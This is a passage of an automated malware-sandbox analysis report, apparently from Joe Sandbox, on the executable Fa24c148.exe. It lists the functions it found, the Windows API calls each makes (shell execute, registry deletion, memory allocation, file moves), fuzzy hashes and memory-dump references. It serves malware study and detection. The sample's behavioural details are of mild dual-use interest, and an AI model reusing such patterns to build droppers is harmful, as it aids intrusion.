Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction ID: 9b4534643d4666439fb6e7fa0780ec568e551195bda58a6737a49a93b172aaf7
Opcode Fuzzy Hash: 0ef88ddf6a77f3597932d5f5950ccac7ebba6e42faf31082df8434657d37fe38
Instruction Fuzzy Hash: 7EF0D1B1A04204AFEB148FA5DE88EBF767CEF40358F10483EF001A21C0D6B85D419B2A

Function 00401DF3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,C:\Program Files (x86)\shaw,?), ref: 00401E3D

Strings

C:\Program Files (x86)\shaw, xrefs: 00401E26

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ExecuteShell
String ID: C:\Program Files (x86)\shaw
API String ID: 587946157-209812835
Opcode ID: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction ID: 1d84af77b3b092231a8c26a4bbf5194ed9fa03af7e80c3faa1f479241ca17973
Opcode Fuzzy Hash: 7587e70040bd90d9a45c77b38d5a8326e6407a8cac713d4af707f877f72f6e69
Instruction Fuzzy Hash: 5EF0C275B14200BACB006FB59D4AF9E73B8AB24729F300936F402F70D1D6FC88419628

Function 004023E0 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegQueryValueExW.ADVAPI32(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nslCCA0.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction ID: 1209522b8d3984a6b4610ed026cffc7dab670339dbbb9e9ecb5883d5f24cd4f7
Opcode Fuzzy Hash: 65fa667fb9a4e770228c9edaf60a266106b1654de64b854c0c014628474dfe3e
Instruction Fuzzy Hash: D5117371915205EEDF14CFA0C6889AFB7B4EF44359F20843FE042A72D0D7B85A41DB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction ID: a30e82e9015a098eeac925556b61d7d627792a5c50f4ab7e1fdfecd72b7c1cbe
Opcode Fuzzy Hash: 3b73f58598246971e780ef50935e80d1208b404ce952b395e35e3e50ed7a2881
Instruction Fuzzy Hash: BE01D131B24210ABE7295B389C09B6A3698E710314F54863EB911F72F1DA78DC139B49

Function 004022D5 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004022F4
RegCloseKey.ADVAPI32(00000000), ref: 004022FD

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID:
API String ID: 849931509-0
Opcode ID: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction ID: cc00155b087d305277611582236cd6af1522243532d64526095e9acb0e968863
Opcode Fuzzy Hash: 150793ea9c0f0f78d5fe339fdd0b38b4f286fd840457b64defc1be174833c637
Instruction Fuzzy Hash: 92F06272A04210ABEB15AFF59A4EBAE7278DB04318F20453BF201B71D1D9FC5D028A6D

Function 0040156B Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,?), ref: 0040157F
ShowWindow.USER32(?), ref: 00401594

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction ID: 292fe9cfc42e020ccba4ca1aabd821194ff51ac34ef1c963243808ae8aa21162
Opcode Fuzzy Hash: de5aa4c1bb5d3f8e11959e1fc0988361606b0ee9916d96b78fe158bf821141de
Instruction Fuzzy Hash: 9CE04872B101049BCB14CBA4ED808FDB7A5A744314754457FD502B3190C6759C118F28

Function 00401DC7 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
EnableWindow.USER32(00000000,00000000), ref: 00401DE8

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction ID: 16f547f83e602d96c884a904eba2f663f46e66ccec186bf88b315e1392079143
Opcode Fuzzy Hash: 47b61285cae3f2a8e8a131cf160caa589dae6c71f8bd26570f639ce9431e4caa
Instruction Fuzzy Hash: BFE08671B04104DBCB50AFF469489DD7378AB50369B100877F401F10D1C6785C008A3D

Function 004059E3 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402DA9,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 004059E7
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403425,?), ref: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction ID: 6e3fe12f06474a07815b5ea3b085539d8110fe4fc4e7b987d4d26a3482594277
Opcode Fuzzy Hash: 4aea1d938fffc26f88db0c1450a16801fb26c1c2da6c6aae83084e0ba0c8a9b4
Instruction Fuzzy Hash: 75D09E71658201EFEF098F20DE16F6EBBA2EB84B00F10962DB652940E0D6715815DB16

Function 004059BE Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004055C3,?,?,00000000,00405799,?,?,?,?), ref: 004059C3
SetFileAttributesW.KERNEL32(?,00000000), ref: 004059D7

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction ID: 23f3b5b08cf0a90752775bce35de55709fa588a0c5c1dd0fb40ccfe6c2119a3d
Opcode Fuzzy Hash: 602326d4d9bd9ed3cd650c2996e001abd569afca198e3c7fdfe54113d0d0341f
Instruction Fuzzy Hash: E6D01272908120EFC2102728EE0C89BBF95DB543B17118B72FD75A22F0D7304C52CAB6

Function 10002868 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002927
GetLastError.KERNEL32 ref: 10002A2E

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55

Function 0040165E Relevance: 1.5, APIs: 1, Instructions: 38fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32(00000000,00000000), ref: 00401679

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
